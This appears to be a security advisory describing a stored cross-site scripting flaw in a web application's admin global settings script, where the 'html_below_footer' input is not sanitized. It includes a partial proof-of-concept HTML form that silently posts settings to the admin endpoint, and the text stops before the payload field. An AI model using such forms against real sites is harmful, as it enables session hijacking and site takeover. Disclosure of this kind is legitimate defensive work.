Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/admin_global_settings.php" script to properly sanitize user-supplied input in "html_below_footer" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin_global_settings.php" method="post" name="main">
<input type="hidden" name="operation" value="save">
<input type="hidden" name="rp" value="admin.php">
<input type="hidden" name="tab" value="general">
<input type="hidden" name="site_name" value="Default Site">
<input type="hidden" name="site_url" value="http://host/">

<input type="hidden" name="layout_id" value="1">
<input type="hidden" name="password_encrypt" value="0">
